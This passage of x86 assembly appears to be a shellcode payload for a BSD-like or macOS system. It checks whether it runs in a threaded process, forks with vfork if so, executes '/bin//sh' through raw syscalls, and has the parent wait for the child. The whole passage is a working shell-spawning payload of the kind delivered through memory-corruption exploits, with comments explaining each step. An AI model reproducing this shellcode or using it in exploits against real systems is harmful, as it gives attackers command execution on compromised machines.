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_shell:
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	;; Test if vfork() will be needed.  If execve(0, 0, 0) fails with
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	;; ENOTSUP, then we are in a threaded process and need to call 
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	;; vfork().
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	xor	eax, eax
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	push	eax	; envp
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	push	eax	; argv
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	push	eax	; path
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	push	eax
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        mov     al, 59  ; SYS_execve
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        int     0x80
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	nop
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	nop
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	cmp	al, 45	; ENOTSUP
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	jne	.execve_binsh
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.vfork:
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	mov	al, 66	; SYS_vfork
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	int	0x80	; vfork()
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	cmp	edx, byte 0
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	jz	.wait
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	;; Both child and parent continue to run execve below.  The parent
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	;; fails and falls through to call wait4(), the child succeeds
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	;; and obviously doesn't call wait4() since it has exec'd a new
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	;; executable.
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.execve_binsh:
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	xor	eax, eax
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	push	eax	   ; "\0\0\0\0"
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	push	0x68732f2f ; "//sh"
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	push	0x6e69622f ; "/bin"
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	mov	ebx, esp
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	push	eax	; envp
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	push	eax	; argv
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	push	ebx	; path
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	push	eax	; spacer
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	mov	al, 59	; SYS_execve
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	int	0x80
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.wait:
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	;; Wait for child process to exit before continuing and crashing
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	xor	eax, eax
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	push	eax
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	mov	ebx, esp
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	push	eax	; rusage
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	push	eax	; options
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	push	ebx	; stat_loc
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	push	eax	; pid
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	push	eax	; spacer
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	mov	al, 7
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	int	0x80
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